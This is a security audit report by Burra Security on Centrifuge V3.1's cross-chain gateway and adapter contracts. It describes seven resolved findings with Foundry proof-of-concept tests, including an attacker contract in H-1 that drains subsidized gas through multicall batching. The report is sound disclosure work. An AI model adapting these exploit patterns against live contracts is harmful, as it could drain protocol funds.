BURRA SEC

Centrifuge V3.1 Protocol Security Review

Reviewed by: Goran Vladika, SpicyMeatball, KlosMitSoss, c3phas

24th Sept - 30th Sept, 2025

Centrifuge V3.1 Protocol Security Review Report

Burra Security

October 12, 2025

Introduction

A time-boxed security review of the **Centrifuge V3.1** protocol was done by **Burra Security** team, focusing on the security aspects of the smart contracts.

Disclaimer

A smart contract security review can never verify the complete absence of vulnerabilities. This is a time, resource, and expertise-bound effort where we try to find as many vulnerabilities as possible. We can not guarantee 100% security after the review or even if the review will find any vulnerabilities. Subsequent security reviews, bug bounty programs, and on-chain monitoring are recommended.

About Burra Security

Burra Sec offers security auditing and advisory services with a special focus on cross-chain and interoperability protocols and their integrations.

About Centrifuge V3.1

Centrifuge is an open, decentralized protocol for onchain asset management. Built on immutable smart contracts, it enables permissionless deployment of customizable tokenization products.

Build a wide range of use cases, from permissioned funds to onchain loans, while enabling fast, secure deployment. ERC-4626 and ERC-7540 vaults allow seamless integration into DeFi.

Using protocol-level chain abstraction, tokenization issuers access liquidity across any network, all managed from one Hub chain of their choice.

Severity classification

Severity	Impact: High	Impact: Medium	Impact: Low
Likelihood: High	Critical	High	Medium
Likelihood: Medium	High	Medium	Low
Likelihood: Low	Medium	Low	Low

Impact - The technical, economic, and reputation damage from a successful attack

Likelihood - The chance that a particular vulnerability gets discovered and exploited

Severity - The overall criticality of the risk

Informational - Findings in this category are recommended changes for improving the structure, usability, and overall effectiveness of the system.

Security Assessment Summary

***review commit hash* - ed9dc5beab9756e1c1fb44ee3fc127ce420db21b**

Scope

The following smart contracts were in the scope of the audit:

- src/common/Gateway.sol
- src/common/MultiAdapter.sol
- src/common/GasService.sol
- src/common/MessageDispatcher.sol
- src/common/MessageProcessor.sol
- src/adapters/*.sol (excluding the LayerZero adapter)

Findings Summary

ID	Title	Severity	Status
H-1	Multicalls can be used to drain subsidized gas tokens from the gateway	High	Resolved
H-2	Cross-chain messages fail automatic delivery	High	Resolved
M-1	Pending votes of global adapters might not be deleted when setting pool specific adapters leading to early message execution	Medium	Resolved
M-2	Caller not refunded when sending the previously underpaid message	Medium	Resolved
L-1	Multicall cannot batch multiple payable operations	Low	Resolved
I-1	Missing global adapter fallback in view functions	Info	Resolved
I-2	SetPoolAdapters batches with global actions, but pays from target pool's subsidy	Info	Resolved

Detailed Findings

[H-01] Multicalls can be used to drain subsidized gas tokens from the gateway

Target

- VaultRouter.sol#L57
- Hub.sol#L89
- Gateway.sol#L170

Severity

- Impact: High
- Likelihood: High

Description

An attacker can exploit batching mode in the `Gateway.send()` function to send messages without paying for them, causing the gateway to cover delivery costs. In non-batching mode, `send()` returns the actual cost of the message:

```
    function send(uint16 centrifugeId, bytes calldata message, uint128
        extraGasLimit)
        external
        pauseable
        auth
        returns (uint256)
    {
        require(message.length > 0, EmptyMessage());

        PoolId poolId = processor.messagePoolId(message);
        emit PrepareMessage(centrifugeId, poolId, message);

        uint128 gasLimit = gasService.messageGasLimit(centrifugeId,
            message) + extraGasLimit;
        if (isBatching) {
             /// BATCH AND APPEND TSTORE
            TransientBytesLib.append(batchSlot, message);
>>>         return 0;
        } else {
            return _send(centrifugeId, message, gasLimit);
        }
    }
```

In batching mode, the function always returns 0. If an attacker can cause the gateway to enter batching mode, they can submit messages that appear to cost nothing, while the gateway itself pays the delivery cost. Batching can be enabled through permissionless multicall entrypoints such as `VaultRouter.multicall()` or `Hub.multicall()`:

```
    function multicall(bytes[] calldata data) public payable override(
        Multicall, IMulticall) {
        bool wasBatching = gateway.isBatching();
        if (!wasBatching) {
>>>         gateway.startBatching();
        }

        super.multicall(data);

        if (!wasBatching) {
>>>         gateway.endBatching();
        }
    }
```

From there, attackers can exploit free calls: - in `Hub`, they can call functions like `notifyDeposit()` or `notifyRedeem()` at no cost; - in `VaultRouter`, they can interact with arbitrary vaults, including malicious ones, which could call `Spoke.crosschainTransferShares` and shift the cost burden to the gateway:

```
    function enable(IBaseVault vault) public protected {
        vault.setEndorsedOperator(msg.sender, true);
    }

    function disable(IBaseVault vault) external protected {
        vault.setEndorsedOperator(msg.sender, false);
    }
```

For example, the normal logic in `Spoke.crosschainTransferShares` ensures the caller pays for gas via `depositSubsidy`. However, in batching mode, `send()` reports 0 cost, so the caller bypasses payment while the gateway covers it:

```
    function crosschainTransferShares(
        uint16 centrifugeId,
        PoolId poolId,
        ShareClassId scId,
        bytes32 receiver,
        uint128 amount,
        uint128 extraGasLimit,
        uint128 remoteExtraGasLimit
    ) public payable protected {
        IShareToken share = IShareToken(shareToken(poolId, scId));
        require(centrifugeId != sender.localCentrifugeId(), LocalTransferNotAllowed());
        require(
            share.checkTransferRestriction(msg.sender, address(uint160(centrifugeId)), amount),
            CrossChainTransferNotAllowed()
        );

        share.authTransferFrom(msg.sender, msg.sender, address(this), amount);
        share.burn(address(this), amount);

        emit InitiateTransferShares(centrifugeId, poolId, scId, msg.sender, receiver, amount);

>>>     gateway.depositSubsidy{value: msg.value}(poolId);
        uint256 cost = sender.sendInitiateTransferShares(
            centrifugeId, poolId, scId, receiver, amount, extraGasLimit, remoteExtraGasLimit
        );
>>>     require(msg.value >= cost, NotEnoughGas());
        if (msg.value > cost) gateway.withdrawSubsidy(poolId, msg.sender, msg.value - cost);
    }
```

Proof of concept

Use `Gateway.t.sol`.

First we need some imports:

```
import {VaultRouter} from "../../../src/vaults/VaultRouter.sol";
import {Spoke, IPoolEscrowFactory, IPoolEscrow, ShareClassId} from "
    ../../../src/spoke/Spoke.sol";
import {TokenFactory, ShareToken} from "../../../src/spoke/factories/
    TokenFactory.sol";
import {MessageDispatcher, ITokenRecoverer} from "../../../src/common/
    MessageDispatcher.sol";
import {Hub, IHubRegistry, IHoldings, IAccounting, IHubHelpers,
    IMultiAdapter, IShareClassManager, AssetId} from "../../../src/hub/
    Hub.sol";
```

And mocks:

```
contract MockHubHelper {
    function notifyDeposit(PoolId, ShareClassId, AssetId, bytes32,
        uint32)
        external
        returns (uint128, uint128, uint128) {
            return (1, 1, 1);
        }
}

contract MockAdapter {
    function estimate(uint16, bytes memory, uint256) external view
        returns(uint256) {
        return 0.1 ether;
    }

    function send(uint16, bytes memory, uint256, address) external
        payable returns(bytes32) {
        //
    }
}

contract MockEscrow {}
contract MockEscrowFactory {
    IPoolEscrow public lastEscrow;

    function escrow(PoolId poolId) external view returns (IPoolEscrow)
        {
        address e = address(
            uint160( // downcast to 20 byte address
                uint256(
                    keccak256(
                        abi.encodePacked(
```

```
                                bytes1(0xff),
                                address(this),
                                bytes32(uint256(poolId.raw())),
                                type(MockEscrow).creationCode
                            )
                        )
                    )
                )
            );
        return IPoolEscrow(e);
    }

    function newEscrow(PoolId poolId) external returns (IPoolEscrow) {
        IPoolEscrow lastEscrow_ = IPoolEscrow(address(
            new MockEscrow{salt: bytes32(uint256(poolId.raw()))}()));
        return lastEscrow;
    }
}
```

Additional tweaks for the mock processor:

```
    function messagePoolId(bytes calldata message) external pure returns (PoolId) {
        if (message.toUint8(0) == uint8(MessageKind.WithPool0)) return POOL_0;
        if (message.toUint8(0) == uint8(MessageKind.WithPoolA1)) return POOL_A;
        if (message.toUint8(0) == uint8(MessageKind.WithPoolA2)) return POOL_A;

>>>     if(message.toUint8(0) == uint8(22)) return POOL_A;
>>>     if(message.toUint8(0) == uint8(33)) return POOL_A;
        revert("Unreachable: message never asked for pool");
    }

    function messagePoolIdPayment(bytes calldata message) external pure returns (PoolId) {
        if (message.toUint8(0) == uint8(MessageKind.WithPool0)) return POOL_A;
        if (message.toUint8(0) == uint8(MessageKind.WithPoolA1)) return POOL_A;
        if (message.toUint8(0) == uint8(MessageKind.WithPoolA2)) return POOL_A;

>>>     if(message.toUint8(0) == uint8(22)) return POOL_A;
>>>     if(message.toUint8(0) == uint8(33)) return POOL_A;

        revert("Unreachable: message never asked for pool");
    }
```

Attacker contract:

```
contract Bandit {
    Spoke target;
    PoolId poolId = POOL_A;
    ShareClassId sc = ShareClassId.wrap(bytes16("sc1"));
    uint16 REMOTE_CENT_ID = 24;

    constructor(Spoke _target) {
        target = _target;
    }

    function setEndorsedOperator(address, bool) external {
        attack(target);
    }

    function attack(Spoke _target) internal {
        _target.crosschainTransferShares{value: 0}(REMOTE_CENT_ID,
            poolId, sc, bytes32(0), 0,  1, 1);
    }
}
```

Setup storage:

```
// ----------------------------------------
//      GATEWAY TESTS
// ----------------------------------------

contract GatewayTest is Test {
    uint16 constant LOCAL_CENT_ID = 23;
    ---ADD THIS---
    MockEscrowFactory mockEscrowFactory;
    MessageDispatcher messageDispatcher;
    VaultRouter vaultRouter;
    TokenFactory tokenFactory;
    Spoke spoke;
    MockAdapter mockAdapter;
    Hub hub;
    MockHubHelper mockHubHelper;

    PoolId poolId = POOL_A;
    ShareClassId sc = ShareClassId.wrap(bytes16("sc1"));
```

Setup:

```
    function setUp() public {
        mockAdapter = new MockAdapter();
        mockEscrowFactory = new MockEscrowFactory();
        messageDispatcher = new MessageDispatcher(
            uint16(23),
            root,
            gateway,
```

```
            ITokenRecoverer(address(0)),
            address(this)
        );
        mockHubHelper = new MockHubHelper();
        hub = new Hub(
            gateway,
            IHoldings(address(0)),
            IHubHelpers(address(mockHubHelper)),
            IAccounting(address(0)),
            IHubRegistry(address(0)),
            IMultiAdapter(address(mockAdapter)),
            IShareClassManager(address(0)),
            address(this)
        );
        tokenFactory = new TokenFactory(address(root), address(this));
        spoke = new Spoke(tokenFactory, address(this));
        vaultRouter = new VaultRouter(address(0), gateway, spoke,
            address(this));

        spoke.file("gateway", address(gateway));
        spoke.file("sender", address(messageDispatcher));
        hub.file("sender", address(messageDispatcher));
        spoke.file("poolEscrowFactory", address(mockEscrowFactory));
        gateway.rely(address(vaultRouter));
        gateway.rely(address(messageDispatcher));
        gateway.rely(address(spoke));
        gateway.rely(address(hub));
        tokenFactory.rely(address(spoke));
        messageDispatcher.rely(address(spoke));
        messageDispatcher.rely(address(hub));

        gateway.file("adapter", address(mockAdapter));
        gateway.file("processor", address(processor));

        // make pool active
        spoke.addPool(poolId);

        // add a share class through factory
        spoke.addShareClass(
            poolId,
            sc,
            "Test Share",
            "TSH",
            18,
            bytes32(0),
            address(0) // no hook
        );
        // now we have a *real* ERC20-like IShareToken deployed
        ShareToken shareToken = ShareToken(address(spoke.shareToken(
            poolId, sc)));
        vm.prank(address(root));
```

```
        shareToken.rely(address(spoke));

        gateway.depositSubsidy{value: 0.1 ether}(poolId);

        _mockPause(false);
        _mockGasService();
    }
```

And finally the tests:

```
contract GatewayTestReceive is GatewayTest {
    function testAudit1() public {
        address alice = address(0xa11ce);
        Bandit bandit = new Bandit(spoke);
        bytes memory payload = abi.encodeWithSignature("enable(address)
            ", address(bandit));
        bytes[] memory payloads = new bytes[](1);
        payloads[0] = payload;
        console2.log("GATEWAY BAL BEFORE: ", address(gateway).balance);
        // ATTACK
        vm.prank(alice);
        vaultRouter.multicall(payloads);
        console2.log("GATEWAY BAL AFTER: ", address(gateway).balance);
    }

    function testAudit2() public {
        bytes memory payload = abi.encodeWithSignature(
            "notifyDeposit(uint64,bytes16,uint128,bytes32,uint32)",
            poolId,
            sc,
            AssetId.wrap(1),
            bytes32("investooor"),
            1
        );
        bytes[] memory payloads = new bytes[](1);
        payloads[0] = payload;
        console2.log("GATEWAY BAL BEFORE: ", address(gateway).balance);
        hub.multicall{value: 0}(payloads);
        console2.log("GATEWAY BAL AFTER: ", address(gateway).balance);
    }
```

Recommendation

One approach is to sum costs inside `endBatching()` and return the total:

```
+    function endBatching() external auth returns(uint256 cost){
         require(isBatching, NoBatched());
         bytes32[] memory locators = TransientArrayLib.getBytes32(
            BATCH_LOCATORS_SLOT);
```

```

        isBatching = false;
        TransientArrayLib.clear(BATCH_LOCATORS_SLOT);

        for (uint256 i; i < locators.length; i++) {
            (uint16 centrifugeId, PoolId poolId) = _parseLocator(locators[i]);
            bytes32 outboundBatchSlot = _outboundBatchSlot(centrifugeId, poolId);
            uint128 gasLimit = _gasLimitSlot(centrifugeId, poolId).tloadUint128();

+           cost += _send(centrifugeId, TransientBytesLib.get(outboundBatchSlot), gasLimit);

            TransientBytesLib.clear(outboundBatchSlot);
            _gasLimitSlot(centrifugeId, poolId).tstore(uint256(0));
        }
    }
```

At the end of multicall, compare `msg.value` against `totalCost`. Since only permissionless calls should require the caller to pay gas, add a conditional check in multicall to ensure trusted, protocol-owned calls can still leverage pool subsidies.

Client

Fixed in https://github.com/centrifuge/protocol/pull/636.

BurraSec

Verified. The subsidy mechanism has been removed. Messages are now paid for by callers upfront, eliminating the possibility of the attack.

[H-02] Cross-chain messages fail automatic delivery

Target

- Gateway.sol#L113

Severity

- Impact: Medium

- Likelihood: High

Description

The Gateway's handle() function requires incoming messages to have enough gas for both execution and failure storage:

```
  uint256 executionGas = gasService.messageGasLimit(localCentrifugeId,
      message);
  require(gasleft() >= executionGas + GAS_FAIL_MESSAGE_STORAGE,
      NotEnoughGasToProcess());
```

The left part of comparison, `gasleft()`, starts as destination leg's TX `gasLimit` and decreases from there. The value of destination leg `gasLimit` is determined and paid for on the source chain:

```
uint128 gasLimit = gasService.messageGasLimit(centrifugeId, message) +
    extraGasLimit;
...
_send(centrifugeId, message, gasLimit)
```

On the right side of comparison, the `executionGas` equals the `messageGasLimit()`. Thus we can say that comparison:

```
gasleft() >= executionGas + GAS_FAIL_MESSAGE_STORAGE
```

is equivalent to

```
messageGasLimit(MSG_X) + extraGasLimit >= messageGasLimit(MSG_X) +
    GAS_FAIL_MESSAGE_STORAGE
```

We can see that for the receive-side check to pass, `extraGasLimit` must be at least 40,000 (in practice even more to account for the already spent gas). But throughout MessageDispatcher, almost all messages are sent with `extraGasLimit = 0`:

- sendNotifyPool
- sendNotifyShareClass
- sendRegisterAsset
- sendSetRequestManager
- sendMaxAssetPriceAge

All cross-chain messages sent with `extraGasLimit = 0` will fail automatic execution on the destination chain. While bridges like Wormhole, LayerZero, and Axelar support manual retry with additional gas, this breaks the automatic message flow and requires manual intervention for each message. This effectively makes the cross-chain messaging system non-functional without constant manual recovery operations. Additionally, every failed automatic execution wastes the protocol's subsidy funds and more funds need to be spent to retry the execution with higher gas limits.

Proof of Concept

This simple test showcases the issue. We call `gateway.handle` with the gas service's provided gas limit for the msg. That should be enough, however due to the described bug TX reverts with `NotEnoughGasToProcess`:

```
    // Gateway.t.sol
    function testMessage_POC() public {
        bytes memory message = MessageKind.WithPool0.asBytes();

        // This is the gas limit that would be paid for on the source
            chain and used on the destination chain
        uint256 messageGasLimit = gasService.messageGasLimit(
            LOCAL_CENT_ID, message);

        // Call the handle with expected gas limit. TX should succeed,
            however it fails due to overrestrictive check
        gateway.handle{gas: messageGasLimit}(REMOTE_CENT_ID, message);
    }
```

Recommendation

It is enough check that gas left is at least `GAS_FAIL_MESSAGE_STORAGE`, in order to cover for failure processing:

```
require(gasleft() >= GAS_FAIL_MESSAGE_STORAGE, NotEnoughGasToProcess())
    ;
```

Client

Fixed here: https://github.com/centrifuge/protocol/pull/646

BurraSec

Fix verified. Recommended mitigation implemented.

[M-01] Pending votes of global adapters might not be deleted when setting pool specific adapters leading to early message execution

Target

- MultiAdapter.sol

Severity

- Impact: High
- Likelihood: Low

Description

Inside `MultiAdapter::handle()`, when no pool-specific adapters are set, the global set of adapters will be used instead to sign off on a message. The message will then be executed when a certain threshold is met, for example, when 2/3 adapters have signed off on a specific message. When `MultiAdapter::setAdapters()` is called to set new adapters for a pool, the session ID is incremented to reset pending votes:

```
        // Increment session id to reset pending votes
        uint256 numAdapters = adapters[centrifugeId][poolId].length;
        uint64 sessionId = numAdapters > 0
            ? _adapterDetails[centrifugeId][poolId][adapters[
               centrifugeId][poolId][0]].activeSessionId + 1
            : 0;
```

Note that when the pool-specific adapters are set for the first time, the `sessionId` is set to zero as a default. The pending votes will be reset during the `MultiAdapter::handle()` flow:

```
        if (adapter.activeSessionId != state.sessionId) {
            // Clear votes from previous session
            delete state.votes;
            state.sessionId = adapter.activeSessionId;
        }
```

This if block will always be reached when new adapters are set while the pool already had pool-specific adapters set before. However, when the global set of adapters was used previously, it is possible that this if block will not be reached and the threshold will be met earlier than it should due to the pending votes including votes from the global adapters.

Consider the following scenario, which will also be used in the POC: Currently, no pool-specific adapters are set, which means that the global set of adapters (Adapter1, Adapter2, Adapter3) is used with a configured threshold of three and `sessionId == 0`. Adapter1 and Adapter2 sign off on a message, which means that the vote count will be increased to two and the `activeSessionId` is `0`.

Now, the specific pool adapters are set for the first time with Adapter4, Adapter5, and Adapter6. The threshold is also set to three. As described previously, the `sessionId` defaults to `0`. Now, when Adapter6 signs off on the same message, the if block is not reached due to `adapter.activeSessionId == state.sessionId`. As a result, the vote count increases to three, which means that the threshold is met and the message is executed.

To run the POC, the following import needs to be added to `MultiAdapter.t.sol`: `import {ArrayLib} from "../../../src/misc/libraries/ArrayLib.sol";`. Now, this test needs to be added to the `MultiAdapterTestHandle` contract in the `MultiAdapter.t.sol` file:

```
    function testGlobalAdaptersPendingVotesNotDeleted() public {
        // POOL_A is not configured, and MESSAGE_1 comes from POOL_A,
            but it works because POOL_0 is the default
        multiAdapter.setAdapters(REMOTE_CENT_ID, POOL_0, threeAdapters,
             3, 3);

        vm.prank(address(adapter1));
        multiAdapter.handle(REMOTE_CENT_ID, MESSAGE_1);

        vm.prank(address(adapter2));
        multiAdapter.handle(REMOTE_CENT_ID, MESSAGE_1);

        // adapters that POOL_A will be configured with
        IAdapter adapter4 = IAdapter(makeAddr("Adapter4"));
        IAdapter adapter5 = IAdapter(makeAddr("Adapter5"));
        IAdapter adapter6 = IAdapter(makeAddr("Adapter6"));

        IAdapter[] memory otherThreeAdapters = new IAdapter[](3);
        otherThreeAdapters[0] = adapter4;
        otherThreeAdapters[1] = adapter5;
        otherThreeAdapters[2] = adapter6;

        // setting specific adapters for POOL_A
        multiAdapter.setAdapters(REMOTE_CENT_ID, POOL_A,
            otherThreeAdapters, 3, 3);

        // needed for vote counting
        bytes32 payloadHash = keccak256(MESSAGE_1);
        uint8 quorum = multiAdapter.quorum(REMOTE_CENT_ID, POOL_A);
        int16[8] memory votes = multiAdapter.votes(REMOTE_CENT_ID,
            payloadHash);

```

```
        // currently 2 votes
        assertEq(ArrayLib.countPositiveValues(votes, quorum), 2);

        vm.prank(address(adapter6));
        multiAdapter.handle(REMOTE_CENT_ID, MESSAGE_1);

        // now 0 votes due to threshold reached
        votes = multiAdapter.votes(REMOTE_CENT_ID, payloadHash);
        assertEq(ArrayLib.countPositiveValues(votes, quorum), 0);
    }
```

Recommendation

Assign an id that's stored globally and increment it each time `setAdapters()` is called:

```
            // Ids are assigned sequentially starting at 1
            _adapterDetails[centrifugeId][poolId][addresses[j]] =
                Adapter(j + 1, quorum_, threshold_, recoveryIndex_, id)
                    ;
        }
        /// END OF LOOP
        ++id;
```

Client

Fixed in https://github.com/centrifuge/protocol/pull/648

BurraSec

Fix verified. Using and tracking `globalSessionId` solved the issue.

[M-02] Caller not refunded when sending the previously underpaid message

Target

- Gateway.sol

Severity

- Impact: Medium
- Likelihood: Medium

Description

When someone tries to send a msg while there is no enough funds in the pool to pay for transfer, then msg is stored in `underpaid`. From there it can be executed by anyone calling repay, as long as caller provides the funds to cover the transfer cost. The problem is that if caller overpays for the transfer cost the difference is not refunded, but it is kept by the Gateway.

The likelihood of caller overpaying the transfer is significant because caller does cost estimation beforehand, separately from execution TX. The cost depends on the gas price which can easily change between the estimation and the actual execution time. Caller is even incentivized to add a small value buffer just in case, which further increases the likelihood of transfer being overpaid.

Proof of concept

This test can be added to `Gateway.t.sol`:

```
    function testRepayOverpaid_NoRefund() public {
        gateway.setRefundAddress(POOL_A, POOL_REFUND);
        bytes memory message = MessageKind.WithPoolA1.asBytes();

        //// 1. Send message, underpaid
        // mock adapter::send
        vm.mockCall(
            address(adapter),
            abi.encodeWithSelector(IAdapter.send.selector,
                REMOTE_CENT_ID, message, MESSAGE_GAS_LIMIT, POOL_REFUND)
                ,
            abi.encode(ADAPTER_DATA)
        );
        // gas price at send time is 12 gwei
        vm.mockCall(
            address(adapter),
            abi.encodeWithSelector(IAdapter.estimate.selector,
                REMOTE_CENT_ID, message, MESSAGE_GAS_LIMIT),
            abi.encode(12 gwei * MESSAGE_GAS_LIMIT)
        );
        // send msg with insufficient subsidy
        gateway.send(REMOTE_CENT_ID, message, 0);
        // assert underpaid msg is stored
```

```
        (, uint64 counter) = gateway.underpaid(REMOTE_CENT_ID,
            keccak256(message));
        assertEq(counter, 1);

        //// 2. Estimate the cost for repaying the message
        // gas price at estimation time is 15 gwei
        vm.mockCall(
            address(adapter),
            abi.encodeWithSelector(IAdapter.estimate.selector,
                REMOTE_CENT_ID, message, MESSAGE_GAS_LIMIT),
            abi.encode(15 gwei * MESSAGE_GAS_LIMIT)
        );
        uint256 estimatedCost = gateway.adapter().estimate(
            REMOTE_CENT_ID, message, MESSAGE_GAS_LIMIT);

        /// 3. Repay with estimated cost, but actual cost dropped due
            to gas price change
        // gas price at repay time is 10 gwei
        uint256 actualCost = 10 gwei * MESSAGE_GAS_LIMIT;
        vm.mockCall(
            address(adapter),
            abi.encodeWithSelector(IAdapter.estimate.selector,
                REMOTE_CENT_ID, message, MESSAGE_GAS_LIMIT),
            abi.encode(actualCost)
        );
        // snapshot repayer balance before repay
        address repayer = makeAddr("repayer");
        vm.deal(repayer, estimatedCost);
        uint256 initialRepayerBalance = repayer.balance;
        console2.log("Repayer balance before repay:",
            initialRepayerBalance);
        console2.log("Estimated cost:", estimatedCost);
        console2.log("Actual cost:", actualCost);
        // repay with overpayment
        vm.prank(repayer);
        gateway.repay{value: estimatedCost}(REMOTE_CENT_ID, message);
        // assert underpaid msg was sent
        (, counter) = gateway.underpaid(REMOTE_CENT_ID, keccak256(
            message));
        assertEq(counter, 0);

        /// 4. No refund happens, the overpaid amount is kept by the
            gateway
        console2.log("Expected repayer balance after:",
            initialRepayerBalance - actualCost);
        console2.log("Actual repayer balance after:", repayer.balance);
    }
```

Running the test confirms the issue:

```
forge test --mt testRepayOverpaid_NoRefund -vvv
```

```

Ran 1 test for test/common/unit/Gateway.t.sol:GatewayTestRepay
[PASS] testRepayOverpaid_NoRefund() (gas: 126697)
Logs:
  Repayer balance before repay: 1500000000000000
  Estimated cost: 1500000000000000
  Actual cost: 1000000000000000
  Expected repayer balance after: 500000000000000
  Actual repayer balance after: 0
```

Recommendation

Refund the caller if `msg.value > cost` using `gateway.withdrawSubsidy` call.

Client

Fixed in this refactor: https://github.com/centrifuge/protocol/pull/636

BurraSec

Fix verified. With the refactor all flows now refund the caller, including the `repay` function.

[L-01] Multicall cannot batch multiple payable operations

Target

- Hub.sol

Severity

- Impact: Low
- Likelihood: Medium

Description

The Hub contract's multicall implementation contains a bug when batching multiple permisionless payable operations like `notifyDeposit` and `notifyRedeem`. These functions are designed to accept ETH payments to cover cross-chain messaging costs, depositing the received value into the Gateway's subsidy pool for the specified pool.

When multicall executes multiple payable functions using delegatecall, the `msg.value` remains constant across all calls. For example, if a user calls multicall with `1` ETH and includes two `notifyDeposit` operations, both calls will see `msg.value = 1 ETH`. The first `notifyDeposit` successfully deposits this `1` ETH to the Gateway subsidy pool via `gateway.depositSubsidy{value: msg.value}(poolId)`. However, when the second `notifyDeposit` executes, it also attempts to forward `msg.value` (still 1 ETH) to the Gateway, but the Hub contract no longer holds these funds since they were already transferred in the first call. This causes the second operation to revert with an "Out of Funds" error.

The impact is that users cannot batch multiple deposit or redeem notifications in a single transaction, defeating the purpose of the multicall batching optimization. Each operation must be called individually, resulting in separate cross-chain messages and higher costs.

Recommendation

Update `notifyDeposit` and `notifyRedeem` to calculate the actual cost of a message, so this cost can be forwarded to the Gateway to pay for the transfer instead the whole `msg.value`. Alternatively, multicall could be gated only for actions

Client

Fixed in this refactor: https://github.com/centrifuge/protocol/pull/636 The payment is only done at the end of the multicall, and the cost is paid by the caller.

BurraSec

Fix verified. Value is not moved in the loop anymore, buy only at the end of the multicall.

[I-01] Missing global adapter fallback in view functions

Target

- MultiAdapter.sol

Severity

Informational

Description

If the adapters are not configured per pool, the global adapters are used instead. This behavior is also present in the `MultiAdapter::poolAdapters()` function, where the global adapters are returned if the pool-specific adapters list is empty:

```
    function poolAdapters(uint16 centrifugeId, PoolId poolId) public view returns (IAdapter[] memory adapters_) {
        adapters_ = adapters[centrifugeId][poolId];

        // If adapters not configured per pool, then use the global adapters
>>>     if (adapters_.length == 0) adapters_ = adapters[centrifugeId][GLOBAL_ID];
    }
```

However, other view functions, including `quorum()`, `threshold()`, `recoveryIndex()` and `activeSessionId()`, always return the values for the configured pool adapters. If they are not set, these functions revert due to an out-of-bounds error.

Recommendation

The other view functions should follow the same pattern used in `poolAdapters()` and return the values of the global adapters when the pool adapters are not configured (i.e., when the list is empty).

Client

Fixed here https://github.com/centrifuge/protocol/pull/658 and https://github.com/centrifuge/protocol/pull/707

BurraSec

Fix verified. View functions return correct values.

[I-02] SetPoolAdapters batches with global actions, but pays from target pool's subsidy

Target

- MessageLib.sol

Severity

Informational

Description

When batching, `messagePoolId` is used to sort msgs into batches, while the `messagePoolIdPayment` of the first msg in the batch is used to determine which pool's subsidy is used to fund the batch.

`SetPoolAdapters` msg is specific in that its `messagePoolId` is `0` (global id), but its `messagePoolIdPayment` is target pool id. So `SetPoolAdapters` will be put in a batch with global msgs. If order of messages in batch is `[SET_POOL_ADAPTERS][GLOBAL_A][...]` the `SetPoolAdapter`'s target pool would be used to fund the whole batch, but if some other msg is the first msg then global pool would be used for funding. That opens up some interesting options for manipulating which subsidy pool is used.

However, currently there is no scenario where `SetPoolAdapter` would be in the same multicall (in the same batch) with other global actions. If that were to change, special attention should be paid to the fact that `SetPoolAdapter`'s position in the batch can determine the subsidy pool used.

Recommendation

Document this behavior in the code comments to explain that `SetPoolAdapters` intentionally routes through global infrastructure while maintaining pool-specific payment responsibility. This will help future developers understand the design choice.

Client

Subsidize and messagePoolIdPayment was removed in: https://github.com/centrifuge/protocol/pull/636 which removes any possible issue in the future.

BurraSec

Fix verified.